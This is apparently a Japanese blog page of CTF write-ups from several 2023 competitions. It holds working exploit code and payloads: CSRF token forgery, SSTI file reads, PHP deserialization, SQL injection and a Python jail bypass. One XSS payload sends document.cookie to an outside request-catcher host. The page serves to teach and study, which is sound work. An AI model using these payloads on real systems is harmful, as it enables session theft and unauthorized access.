はまやんはまやんはまやん

hamayanhamayan's blog

Asian Cyber Security Challenge 2023 Quals Writeups

[Forensics] pcap-1

総パケット数が401193とかなりでかい。
プロトコル階層を見てみても、特にこれといった発見はないが、USBのシリアル通信も記録されているのが珍しい。

一旦tshark -r capture.pcapng -Y "usb" -w usb.pcapとしてUSBだけ取り出してきて眺める。
キーボード入力っぽいものも散見されたので、色々スクリプトはあるが簡単に以下を使って文字にしてみた。
w3irdsh4rk/CTF-Usb_Keyboard_Parser: USB Keyboard Parser Tool is an automated script that can extract HID data from.pcap or.pcapng files.

aasslliiddddeeeessss..ggggoooogglleeee..ccoooomm

CCTTFF    IInnttttttrroo  PPrrrreesssseeeennttaaaattiiiioonnbbbbccaaaabbaabbbbccbbccbbaaaaaabbbbaaaaaaaaaaaaHHooww  ttoo  bbee  ggoooodd  aaaatt  CCTTFFss??aaaaaaAA  bbeeggiinnnneeeerr''ss    gguuuuiiddddbbDDoonnoottcchheeaaaattaaaaaaGGgguuuueessssiiiinnnnggaaaaaabbiissbbbbaabbaaccaaggooooddaaaaaaaaccaaTTtthhiiiiss  iiiiss  aaaannnn    eexxxxaaaammpppppplleeee  ooooffff  aaaa  ffllllaaaagg::aaaaAACCSSCC{{aaaaff00rr33nnss11ccssbbbbaabbaaaaaaaaaaaaaaaaaaaaaaaa__bbaaaaiissccddaabb__aaaaaaaaaaaaaaaabbaaaaaaaass00aaaaaa__bbaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaffuunnaaaaaaaaaaaaaaaaaaaaddddaabbbbccacacddbbccbbaaaabbaaaaaa}}aabbaabbbbddbbababbbbbbbaabbbbbbbbbbbbeebbaabbaaddaaaaaaaaaaaaaaaaaabbbbaaaaaaaaaabbaabbbbaaaabbaaababaaaaaabbaaaaaaaaaaaabbccggaabbccccbbccbbccccbbbbbbaaaaccbbbbaaaaccaabbccbbddccbbbbbbbbbbcbcbaabbccccffddaaffaaaaddcceeddaaffccddddaaddeeddbbccccbbddccccbbffbbbbaabbaaaaaabbaabbaaaaaaccaaaabbaaccbbccbbbbcccccccccceeddaaffddaaeeaaffeeeeaaaabbaakkeeeeaaeeddffaaaaddeeeeaaeeddaabbeeffddaaaaaaddffeebbbbaagghhhhhhbbbbiihhiibbccbbjjhhddbbbbhhiiggddbbbbbbhheeggbbaaeeeeeeddeeeeeeaaccaaggddaaffbbccbbbbbbaaaaaabbaaaabbaaaaccccccaaaaaaaaaaaaaaaaaaaaaabbaaaabbaabbccccbbbbbbbbccbbbbbbaaccaaccccbbbbbbaaaabbaabbddccaaaaffbbdddccdccaaccddccddaaaaaaffddaaddccddaaccccccbbbbaabbaaaaaaaaaaaaaaaaaaaaIIff    yyoooouuuu  ccccaaaann    rrrreeeeeeaaaadd  tttttthhiissss  mmmmeessssaaggggee,,  ccoonnnnggrraaaattss!!11

BBuuuutt    tttthheeee  ffllaaaagggg  yyoooouu  sssseeeeee  nnnnooww  iiiissss  nnnnooootttt    tthhhheeee  aacccceeeepptteeeeeedd  ffllllaaaagg..aaaaaaaaaaaaccaaaaaabbbbccbbccaabbcbcbbbbbccbbbbbbccccaabbddccaaccddaaccccffaabbccccbbbbaabbbbaaaaaaaaaaaaaaaabbeeaabbaaaabbaaddbbaaaaaaaaccaaaaccaabbaaababbbbbbbbbbbbbccbbaaccbbbbbbaaaabbbbaabbbbaabbaabbaabbaaaaccbbbbbbbbcccbcbaabbbbbbaaccaaaabbaaaabbaaaaaaaabbaabbaaaaaaaa

IInnssppeeeecctt    tttthhhheeee  ppppaaaacccckkeeeettttssss  mmmmmmmmrrrreeee  ddddeeeeppllyy,,  aaaanndddd  yyoooouuuu  wwwwiillll  rrrreevvvveeaaaall  mmmmmmrrrreeee  iiiinnffoorrrrmmaaaattiiiioonn    aaaabboooouuuutttt  wwwwhhhhaaaatttt  iissss  hhhhaaaappppeeeenniiiinngg..

II''mm    wwwwrrrriittttiiiinnnngggg  tttthhhhhhiissss    hheerrrree,,  ootthhhheeeerrrrwwiissssee  1111000000  ppeeeeoooopppplllleeee    wwiillll    ddmm  mmmmeeee  ttttoo  ssssaayy    tttthhaaaatt    tttthhee  ffllaaaagggg  iiss  nnnnooootttt  wwoorrrrkkiiiinnnngg,,,,  oooooorr    tthhhheeee  cccchhaalllleennggggee  iiiissss  bbrrookkeenn..

BBttww,,    II  ddoonn''tttt  lliikkeeee  ffoorreennssssiiccccssss  ttoooo..  ::))

文字がダブっている。
この辺いつもよくわかっていないのだが、チャタリング的なあれ?と毎回思っていて、ちゃんとやろうとするとTimeを見ながらきれいにするべきだろうが、単純に重複を省く感じで処理する。
ChatGPTで「python3でテキストファイルを読み込んで一文字ずつ表示していくが、前の文字と同じであれば表示しないようなスクリプトを書いてください。」とお願いすると、
数秒で書き上げてくれた。

with open('filename.txt', 'r') as f:
    previous_char = ''
    for char in f.read():
        if char != previous_char:
            print(char, end='')
        previous_char = char

凄すぎる。以下のように変換される。

$ python3 chatgpt.py
aslides.gogle.com
CTF Intro PresentationbcababcbcbabaHow to be god at CTFs?aA beginer's guidbDonotcheataGguesingabisbabacagodacaTthis is an example of a flag:aACSC{af0r3ns1csbaba_baiscdab_abas0a_babafunadabcacacdbcbaba}ababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabaIf you can read this mesage, congrats!1
But the flag you se now is not the acepted flag.acabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa
Inspect the packets mre deply, and you wil reveal mre information about what is hapening.
I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken.
Btw, I don't like forensics to. :)

んー、微妙なフラグが出てきたが、だめ。
abababというのが多いので、ゴミデバイスが邪魔しているんだろう…
改めてpcapを見返すとSourceが1.12.1と1.13.1がある。
OK.
分離してこれまでやった変換をやろう。

tshark -r usb.pcap -Y 'usb.src == "1.12.1"' -w usb1_12_1.pcap

abcababcbcbababababacacabababacdababababadabcacacdbcbabababdbabababebabadababababababababcgabcbcbcbacbacabcbdcbcbcbabcfdafadcedafcdadedbcbdcbfbabababacabacbcbcedafdaeafeabakeaedfadeaedabefdadfebaghbihibcbjhdbhigdbhegbaedeacagdafbcbababacabababcbcbacacbababdcafbdcdcacdcdafdadcdacbabacabcbcabcbcbcbcabdcacdacfabcbababeababadbacacabababcbacbabababababacbcbcbabacababababa

変な感じだが、よくよく見るとマウスのキャプチャっぽい。

tshark -r usb.pcap -Y 'usb.src == "1.13.1"' -w usb1_13_1.pcap

slides.gogle.com
CTF Intro PresentationHow to be god at CTFs?A beginer's guidDonotcheatGguesingisgodTthis is an example of a flag:ACSC{f0r3ns1cs_is_s0_fun}If you can read this mesage, congrats!1
But the flag you se now is not the acepted flag.
Inspect the packets mre deply, and you wil reveal mre information about what is hapening.
I'm writing this here, otherwise 10 people wil dm me to say that the flag is not working, or the chalenge is broken.
Btw, I don't like forensics to. :)

ということで作者の恨み節と共にフラグが見つかる。

[web] Admin Dashboard

index.phpを見ると

<?=($_SESSION["user"]["role"] === "admin") ? '<p class="lead">ACSC{REDACTED}</p>' : "";?>

とあるので、admin権限でindex.phpが見られればフラグが得られそう。
addadmin.phpを使えばadmin権限のユーザーが追加できる。これが使えそう。

addadmin.phpを見ると、ユーザー追加にif($_SESSION["user"]["role"] !== "admin"){という条件があるので、adminに踏ませる必要がある。
$_REQUESTのusername, password, csrf-tokenを用意すればいい。
$_REQUESTはGET,POST,Cookieのどれでも使えるので、GETのクエリストリングで渡すことにする。
username, passwordは任意のものを渡せばいいが、問題はcsrf-token。

初回のcsrf-tokenは未知の数A,Cと既知のusername,Mを使って

X[0] = A * username + C mod M

のように生成される。さらに、そこから30秒ごとに、

X[i+1] = A * X[i] + C mod M

のような感じで再生成されて使用される。
この形はまさに線形合同法であり、これはいくつかサンプルがあればパラメタが割り出せる。

詳しくはkurenaif先生の動画がいいと思う。
実装は線形合同法 (Linear Congruential Generators) によって生成される擬似乱数を予測するを借りてきた。

このcsrf-tokenは自分で作ったアカウントでも取得可能なので、自分でアカウントを作って30秒ごとにtokenをもらってきて、パラメタA,Cを割り出す。
これで、A,C,Mが既知でusernameはadminを使えばいいので、csrf-tokenが生成可能となった。
これを使って、adminユーザーの作成依頼をかけて、そのユーザーでアクセスすればフラグが得られる。

以下のようにcsrf-tokenのジェネレータを作成した

import requests
import re
import time
import string
import random
import binascii

BASE = 'http://admin-dashboard.chal.ctf.acsc.asia'
#BASE = 'http://localhost:8000'
username = ''.join(random.sample(string.ascii_letters, 10))
password = ''.join(random.sample(string.ascii_letters, 10))

print(f'username -> {username}')
print(f'password -> {password}')

s = requests.Session()
s.get(BASE + '/register', params={'username':username, 'password':password})
s.get(BASE + '/login', params={'username':username, 'password':password})

x = []
for _ in range(8):
    t = s.get(BASE + '/addadmin').text
    token = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0]
    print(token)
    x.append(int(token, 16))

    time.sleep(35)

# ============================================

# https://satto.hatenadiary.com/entry/solve-LCG

def solve_unknown_increment(states, A, M):
    B = (states[1] - A * states[0]) % M
    return B

from Crypto.Util.number import inverse

def solve_unknown_multiplier(states, M):
    A = (states[2] - states[1]) * inverse((states[1] - states[0]), M)
    return A

from Crypto.Util.number import inverse, GCD
from functools import reduce

def solve_unknown_modulus(states):
    diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])]
    multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])]

    # GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2])
    M = reduce(GCD, multiples_of_M)
    return M

M = solve_unknown_modulus(x)
A = solve_unknown_multiplier(x, M)
C = solve_unknown_increment(x, A, M)

# answer
print("A = {}".format(hex(A)))
print("C = {}".format(hex(C)))
print("M = {}".format(hex(M)))

# ============================================

from Crypto.Util.number import *

assert (A * bytes_to_long(username.encode()) + C) % M == x[0]

print(hex((A * bytes_to_long('admin'.encode()) + C) % M))

後は適当なユーザーを作成するように以下のようなURLをreportする。
botクローラーソースコードを確認すると、localhostにする必要がありそうなので注意。

http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0

これでadminユーザーが作られたはずなので、以上のreportであればwaeji25fgew:dfgj34ijgiでログインすればフラグが得られる。

[web] easySSTI

注目すべき点がtemplateというヘッダーがプロキシ経由で転送されるという部分。
これを使えば、template.htmlではなく任意のテンプレートを差し込める。
なので、これを使って任意のSSTIをして情報を抜く問題だが、
プロキシの制限によって/ACSC\{.*\}/が応答に含まれてはいけない。

テンプレートの生成部分を見ると、main.goでif err := t.Execute(buf, c); err != nil {の部分になる。 コンテキストとして渡している変数cはecho.Contextなので、ここから辿れるもので使えるものがないかを探していく。

https://github.com/labstack/echo/blob/master/context.go
ここを見ると、FileとかAttachmentとかで任意のファイルを返すことができる。
つまり、template: {{.File "/etc/passwd"}}みたいに書けるわけだが、そのまま返すとプロキシが弾いてしまう。
なので、別ルートを探す。

https://github.com/labstack/echo/blob/master/echo.go
ここを見ると、Filesystemといういかにも使えそうなものが見つかる。
OpenでFileを開くことができ、該当ファイルのfs.Fileを返してくれる。
template: {{ .Echo.Filesystem.Open "/etc/passwd" }}

https://pkg.go.dev/io/fs#File
ここを見ると使えそうなのはReadくらいしかなく、読込先として[]byteを指定する必要がある。
これを探すのに四苦八苦していたが…
なんとカスタムコード部分に用意されていた!
main.goにtmpl, ok := c.Get("template").([]byte)とあるので、.Get "template"とすればこの[]byteの変数を取り出すことができる!
これを保存先として指定して、そのあと表示してやれば、読込データが表示される。
つまり {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}} という感じ。

[]byteをテンプレートで表示するときはarray形式でdecimalで表示されるっぽいのでプロキシもbypassできる。
decimal形式になっているので適用にCyberChefあたりでasciiとして読み込ませてやればフラグが出てくる。

競技セキュリティまとめのまとめ

CTFとかBoot2Rootとか競技化(ゲーム化)されたセキュリティ関連の情報をまとめておく。
実世界では使わないこと。

WriteupとかWalkthroughとか(どちらも問題解説のこと)はSecurity カテゴリーの記事一覧 - はまやんはまやんはまやんに大量にあるので、漁ってください。

CTF

CTFにおけるWebセキュリティ入門とまとめ - はまやんはまやんはまやん


CTFにおけるステガノグラフィ入門とまとめ - はまやんはまやんはまやん
CTFにおけるフォレンジック入門とまとめ - はまやんはまやんはまやん

Boot2Root

脆弱なマシンが与えられてuserシェルとかrootシェルとか獲得する方式。
このジャンルVulnBox系と個人的に読んでますが、スタンダードは何なんでしょう。 -> Boot2Rootという名称を教えてもらったので修正。
手が空いていれば今年のアドカレはこのあたりを書く予定ですが、英語が読める人は以下のほうがいいです。

HackTM CTF 2023 Writeup

[web] Blog

フラグは/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txtにあり、LFIをするのが最終目標。

まず、目を引くのがindex.phpの以下の部分。
$user = unserialize(base64_decode($_COOKIE["user"]));
明らかにバッドプラクティスであり、Unsafe Deserializationを利用することで任意のUserクラスのインスタンスを生成可能である。

どのようなインスタンスを作ればLFIできるだろうかというのを考えると、util.phpのProfileクラスに
$picture = base64_encode(file_get_contents($this->picture_path));
というのがある。
Userクラスのget_profileメソッドを使えば呼び出すことができ、$this->picture_pathはUnsafe Deserializationで差し込みが可能。

ソースコードベースで関係ある部分を残すと以下のような感じ。

...
class User {
    public $profile;
    public $posts = array();

    ...

    // get user profile
    public function get_profile() {
        // some dev apparently mixed up user and profile... 
        // so this check prevents any more errors
        if ($this->profile instanceof User) {
            return "@i_use_vscode please fix your code";
        } else {
            // quite unnecessary to assign to a variable imho
            $profile_string = "
            <div>{$this->profile}</div>
            ";
            return $profile_string;
        }
    }

    ...
}

class Profile {
    public $username;
    public $picture_path = "images/real_programmers.png";

    ...

    public function __toString() {
        if (gettype($this->picture_path) !== "string") {        
            return "";
        }

        $picture = base64_encode(file_get_contents($this->picture_path));

        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0] === false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
}

よって、Cookie$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';となるようなpayloadを流し込んでやれば、base64で指定のファイルが出力されてくる。 適当にユーザーを作ってCookieを発行してもらい、以下のように改変してCookieを差し替えると、base64エンコードされたフラグが出てくる。

<?php

class User {
    // Userクラスの全体
}

class Profile {
    // Profileクラスの全体
}

$x = '[適当に作ったユーザーのCookie]';
$user = unserialize(base64_decode($x));
$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';
echo base64_encode(serialize($user));

LA CTF 2023 Writeups

[web] college-tour

Burp Suiteを開いて、サイトを巡回して、ソースコードを眺める。
lactf{number_text}という形でフラグがちりばめられているらしい。

拡張機能のLogger++を入れて抜き出してこよう。
Grep Valuesで適当にlactf\{[^\}]*\}を入れて持ってくる。

lactf{number_text}
lactf{1_lOsT}
lactf{2__!N_b}
lactf{3_03LT3r}
lactf{lOsT_!N_b03LT3r}
lactf{1_j03_4}
lactf{2_nd_j0}
lactf{4_n3_bR}
lactf{6_AY_hi}
lactf{5_U1n_s}
lactf{3_S3phI}

1,2,3が複数あるが、とりあえず後半に固まっている1~6の文字部分をくっつけて
送ると正答。

[web] metaverse

AdminBotが与えられているのでXSS方面で探していていたが…違った。
あと、見た目に反して異様にsolve数が多かったが、
これはtest:testで入ると誰かがフラグを獲得していたからとみられる…

accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

重要なのはadminのdisplayNameにflagが与えられているので、これを表示させたい。
displayNameが使われている所を探すと、

app.get("/friends", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts
                .get(res.locals.user)
                .friends.filter((username) => accounts.has(username))
                .map((username) => ({
                    username,
                    displayName: accounts.get(username).displayName,
                }))
        )
    );
});

のように、友達登録されている人のdisplayNameは見られるらしい。
なので、adminに対して自分を友達登録させればいい。
ここまで来るとXSSというより、CSRFだったんだなという感じになる。
CSRF対策も特にされてないので、POST /friendを踏ませればいい。

<form id="friend" method="post" action="https://metaverse.lac.tf/friend">
    <input type="text" name="username" value="fjsadkfjsidji235jire">
    <input type="submit" value="Submit">
</form>
<script>
    friend.submit();
</script>

[web] uuid hell

あまりよく理解してないが、UUIDの生成部分を見ると色々カスタム設定されている。

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}

試しに同じルールで手元で作ってみる。

267cdf40-aa8a-11ed-aa64-67696e6b6f69
267da290-aa8a-11ed-aa64-67696e6b6f69
267da291-aa8a-11ed-aa64-67696e6b6f69
267da292-aa8a-11ed-aa64-67696e6b6f69
267da293-aa8a-11ed-aa64-67696e6b6f69
267dc9a0-aa8a-11ed-aa64-67696e6b6f69
267dc9a1-aa8a-11ed-aa64-67696e6b6f69
267dc9a2-aa8a-11ed-aa64-67696e6b6f69
267dc9a3-aa8a-11ed-aa64-67696e6b6f69
267df0b0-aa8a-11ed-aa64-67696e6b6f69

短時間で作るとかなり偏りがあるが、かぶることはないみたい。
適当に全探索範囲を限定しながら探索すると、管理者のuuidを特定できた。
以下のようなソルバーを回すと回答が得られる

import requests
import re
import hashlib

URL = 'https://uuid-hell.lac.tf/'
requests.post(URL + 'createadmin')
rawtext = requests.get(URL).text

myid = re.findall(r'You are logged in as ([0-9a-f\-]*)', rawtext)[0]
print(myid)

md5s = re.findall(r'[0-9a-f]{32}', rawtext)
admins = md5s[:50]
users = md5s[50:]

chars = '0123456789abcdef'
for c1 in chars:
    for c2 in chars:
        print('..' + c1 + c2 + '???....')
        for c3 in chars:
            for c4 in chars:
                for c5 in chars:
                    for c6 in chars:
                        for c7 in chars:
                            challenge = myid[:1] + c1 + c2 + c3 + c4 + c5 + c6 + c7 + myid[8:]
                            #print(challenge + ' vs ' + myid)
                            h = hashlib.md5(('admin'+challenge).encode()).hexdigest()
                            if h in admins:
                                print('Found! ->' + challenge)
                                print(requests.get(URL, cookies={'id': challenge}).text)
                                exit(0)


mymd5 = hashlib.md5(myid.encode()).hexdigest()
print(mymd5)
if mymd5 in users:
    print('OK!')

[web] 85_reasons_why

フラグが明確には書いていないが、SQL Injectionできそうな箇所がviews.pyにあった。
入力も普通に外部から渡せそう。

@app.route('/image-search', methods=['GET', 'POST'])
def image_search():
    if 'image-query' not in request.files or request.method == 'GET':
        return render_template('image-search.html', results=[])

    incoming_file = request.files['image-query']
    size = os.fstat(incoming_file.fileno()).st_size
    if size > MAX_IMAGE_SIZE:
        flash("image is too large (50kb max)");
        return redirect(url_for('home'))

    spic = serialize_image(incoming_file.read())

    try:
        res = db.session.connection().execute(\
            text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
    except Exception:
        return ("SQL error encountered", 500)
...

入力はserialize_imageによって変換処理がかかっている。
Ascii85 - Wikipediaというエンコーディングらしい。

def serialize_image(pp):
    b85 = base64.a85encode(pp)
    b85_string = b85.decode('UTF-8', 'ignore')

    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    b85_string = re.sub('\'', '\'\'', b85_string)
    b85_string = re.sub('~', '\'', b85_string)

    b85_string = re.sub('\\:', '~', b85_string)
    return b85_string

文字種はかなりあり、print(base64.a85encode(b'\x15\x09\xfb').decode('UTF-8', 'ignore'))とやればシングルクオートも作れる。
なんとなく文字は作れそうなので、後半の変換を回避することを考える。
~ OR 1=1 --がうまくいきそうだが、~はちょうどAscii85にない。
なので、最初の変換を使って\\\\\\' OR 1=1 --とすればいいよさそうだが、変換過程でスペースが消えてしまう。
だが、これはspace2commentで回避可能。
あとは変換でおかしくならないように適当にやると\\\\\\'/**/OR/**/1=1 -- dが最終的な答えになる。

From Base85, To Hex - CyberChefTo_Hex('%5C%5Cx',0)&input=XFxcXFxcJy8qKi9PUi8qKi8xPTEgLS0gZA)
このようにpayloadをつくる。

echo -en "\xb9\xc2\x0a\x5f\xb7\xcc\x5c\x7d\x2d\x43\xbb\xdc\x1c\x85\xa8\x1b\x25\xce" > payload.bin
こうやってバイナリにして、POST /image-searchに送り付けると、
\\\\\\'/**/OR/**/1=1--cとなって、条件を恒真にできる。
するとフラグが入ったポストが現れる。

DiceCTF 2023 writeups

[web] recursive-csp

レスポンスを見ると/?sourceというのがあるので、アクセスするとソースコードが見られる。
重要なところを抜粋すると以下の通り。

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
...
    <h1>Hello, <?php echo $name ?>!</h1>
...

全体をCRC32Bでハッシュ化したものがnonceとして採用されるとのこと。
352441c2のように8文字でHEXなので、全探索で適当な文字列を追加して調整してやればよさそう。

以下のような競技プログラミング本当にやってましたか?みたいなコードを書いて、
条件を満たすペイロードを探索した。

<?php
$chars = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

foreach ($chars as $c1) {
    foreach ($chars as $c2) {
        echo $c1 . $c2 . "XXXXX" . "\n";
        foreach ($chars as $c3) {
            foreach ($chars as $c4) {
                foreach ($chars as $c5) {
                    foreach ($chars as $c6) {
                        foreach ($chars as $c7) {
                            foreach ($chars as $c8) {
                                foreach ($chars as $c9) {
    $nonce1 = $c1 . $c2 . $c3 . $c4 . $c5 . $c6 . $c7 . $c8;
    $name = '<script nonce="' . $nonce1 . '">location=["https://z.requestcatcher.com/t?",document.cookie]</script>' . $c9;
    $nonce2 = hash("crc32b", $name);

    //echo $name . "\n";
    //echo $nonce2 . "\n";

    if ($nonce1 === $nonce2) {
        echo $name . "\n";
        echo $nonce2 . "\n";
        echo 'Yea!' . "\n";
        die();
    }
}}}}}}}}}
?>

祈りながらこれを動かすと以下で止まる。

<script nonce="1901f002">location=["https://z.requestcatcher.com/t?",document.cookie]</script>1

なので、requestcatcherで待って以下のように送るとフラグが手に入る。

https://recursive-csp.mc.ax/?name=%3Cscript+nonce%3D%221901f002%22%3Elocation%3D%5B%22https%3A%2F%2Fz.requestcatcher.com%2Ft%3F%22%2Cdocument.cookie%5D%3C%2Fscript%3E1

Byte Bandits CTF 2023 (BBCTF 2023) Writeups

[Forensic] Imageception

stringsで見てみるとWindowsのメモリダンプっぽいので、Volatility 3でwindows.infoしてみる。

$ python3 ~/.opt/volatility3/vol.py -f imageception.raw windows.info
Kernel Base     0xf80778a18000
DTB     0x1aa000
Symbols file:///home/eric/.opt/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/68A17FAF3012B7846079AEECDBE0A583-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf80779627398
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2022-12-16 08:28:29
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Wed Jun 28 04:14:26 1995

いい感じに解析できている。Windows 10のメモリダンプっぽい。 windows.pstreeで怪しいものがある。

548  472 winlogon.exe    0xa08f6cf1c080  6   -   1   False   2022-12-16 08:25:52.000000  N/A
* 884   548 dwm.exe 0xa08f6cd80080  17  -   1   False   2022-12-16 08:25:53.000000  N/A
* 3012  548 userinit.exe    0xa08f6e699300  0   -   1   False   2022-12-16 08:26:01.000000  2022-12-16 08:26:25.000000 
** 3044 3012    explorer.exe    0xa08f6e6d6300  86  -   1   False   2022-12-16 08:26:01.000000  N/A
*** 4880    3044    SecurityHealth  0xa08f6e5a22c0  6   -   1   False   2022-12-16 08:26:16.000000  N/A
*** 4448    3044    mspaint.exe 0xa08f6e45b080  8   -   1   False   2022-12-16 08:27:45.000000  N/A
*** 5012    3044    msedge.exe  0xa08f6ed07080  0   -   1   False   2022-12-16 08:26:17.000000  2022-12-16 08:27:40.000000 
**** 4328   5012    msedge.exe  0xa08f6f44f080  41  -   1   False   2022-12-16 08:27:39.000000  N/A
***** 4600  4328    msedge.exe  0xa08f6f3e0080  12  -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5444  4328    msedge.exe  0xa08f6f1a4080  9   -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5164  4328    msedge.exe  0xa08f6ef07080  7   -   1   False   2022-12-16 08:27:39.000000  N/A
***** 5708  4328    msedge.exe  0xa08f6f4da080  16  -   1   False   2022-12-16 08:27:39.000000  N/A
*** 5256    3044    DumpIt.exe  0xa08f6f404080  2   -   1   True    2022-12-16 08:28:27.000000  N/A
**** 4644   5256    conhost.exe 0xa08f6ebb1080  5   -   1   False   2022-12-16 08:28:27.000000  N/A

mspaint.exeが開かれている…
windows.cmdlineを実行してみると

4448 mspaint.exe "C:\Windows\system32\mspaint.exe" "C:\Users\bbctf\Desktop\imageception.png"

この画像を取得することはできないだろうか。
windows.filescanを見てみよう。

0xa08f6ca23200   \Users\bbctf\Desktop\imageception.png   216

ありますね…

python3 ~/.opt/volatility3/vol.py -f imageception.raw windows.dumpfiles --pid 4448 --virtaddr 0xa08f6ca23200 でファイルが落とせてくるので、適当にmv file.0xa08f6ca23200.0xa08f6c9d1350.DataSectionObject.imageception.png.dat imageception.pngとして開くとフラグが書いてある。

[Forensic] Random Requests

プロトコル階層統計を使って記録パケット種別を把握して色々眺めるとhttp && ip.src_host == 10.0.2.15で特徴的なリクエストが見られる。
GET /flag=の後に0か1か%20が記録されている。
時系列順に全部取ってきて、%20を空白ではなく改行にしてみると以下のような感じ。

01011010
01101101
01111000
01101000
01011010
00110011
01110100
...

バイト列を2進数表記したものに見える。
CyberChefのFrom Binaryで変換すると ZmxhZ3tuT1RfU29fcjRuZG9tX2g3N3BfcjNxdTM1dHN9 となる。
雑にCyberChefのMagicを使うとbase64とのことなので、From Base64も追加するとフラグが出てくる。

[Forensic] Vastness of Space

色々試すとexiftoolで情報が出てくる。

$ exiftool Empty_Space.jpg
...
XP Comment                      : The password is "BBCTF"
...

steghideを使うとCSVファイルが得られる。

$ steghide extract -sf Empty_Space.jpg -p BBCTF -xf out.bin
wrote extracted data to "out.bin".

$ file out.bin
out.bin: CSV text

xy座標っぽいのでそれをドットに変換して画像にしてみる。

from PIL import Image

picture = Image.new("RGB", (300, 300), "white")
pixels = picture.load()

with open('out.bin') as fp:
    for line in fp.readlines():
        x = int(line.split(',')[0])
        y = int(line.split(',')[1])
        #print(f'{x},{y}')
        pixels[x,y] = (0, 0, 0, 0)

picture.save("flag.png", "PNG")

するとQRコードが出てくるので復号するとフラグが出てくる。

[misc] Meaning of Life

数字を入れるとシークされたいつもの動画へのURLのbase64エンコード物がもらえる。
何も怪しいところがないので数字を全探索してみる。

import requests
import re
import time

for idx in range(1, 100):
    time.sleep(3)
    r = requests.post('http://misc.bbctf.fluxus.co.in:2002/', data={'key_num': idx}).text
    m = re.findall(r'<p><b>Hash Value : </b> ([^<]*) </p>', r)
    print(f'{idx} -> {m[0]}')

これを動かすと42で雰囲気が変わる。

42 -> aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1GSVViUkprS2psRQ==

実際動画も変わっていて、ピーという音が鳴る動画になる。
雰囲気はモールス信号…

頑張って復号するとCIC4D4FLI35となり、これをflag{}でくるむと正答。

[misc] Peer Pressure

クリックするといつもの動画に飛ばされる。
Burpの履歴を見るとGET /aGVhZA==?が呼ばれている。
aGVhZA==はbase64デコードするとHEADになるので、HEADで呼べばいいのか?
HEAD /aGVhZA==?とすると、レスポンスヘッダーのpngとしてbase64エンコードされた何かが送られてきた。
デコードしてみると普通のpngファイル。

適当にもってきて、試しにexiftoolをしてみるとフラグがあった。
exiftool a.png | grep flag

[misc] Virus Attack

netcatでつないでみるとpythonインタプリターっぽいものが出てくる。

>>> id
<built-in function id>

となるのでpythonインタプリターなのだろう。

>>> system
Sorry You cant write system

怒られた。色々打ってみるとブラックリストがあるみたい。
以下見た禁止文字。多分他にもいろいろある。

system
read
os
import
S

適当にガチャガチャやっているとLFIできることが分かった。
ファイル名をエスパーするとフラグが得られる。
set(open('flag.txt'))

[web] Hi-Score

1秒間に100回クリックできればいいらしい。
クリックしてみると特にリクエストは飛んでいない。
/static/TheScript.jsで色々処理がなされているみたい。

クリックしたときのコードは以下のような感じ。

function Clicks() {
    var _0x287a2f = _0x1a8b;
    if (klicks == 0x0) end = new Date()[_0x287a2f(0x1f5)]();
    (end1 = new Date()[_0x287a2f(0x1f5)]() - end),
        (klicks += 0x1),
        (score = (klicks / end1) * 0x3e8);
    if (score == Infinity) score = 0x0;
    (score = score[_0x287a2f(0x204)](0x3)),
        (document[_0x287a2f(0x1f4)](_0x287a2f(0x1fd))["innerHTML"] =
            _0x287a2f(0x207) + score + _0x287a2f(0x1fc));
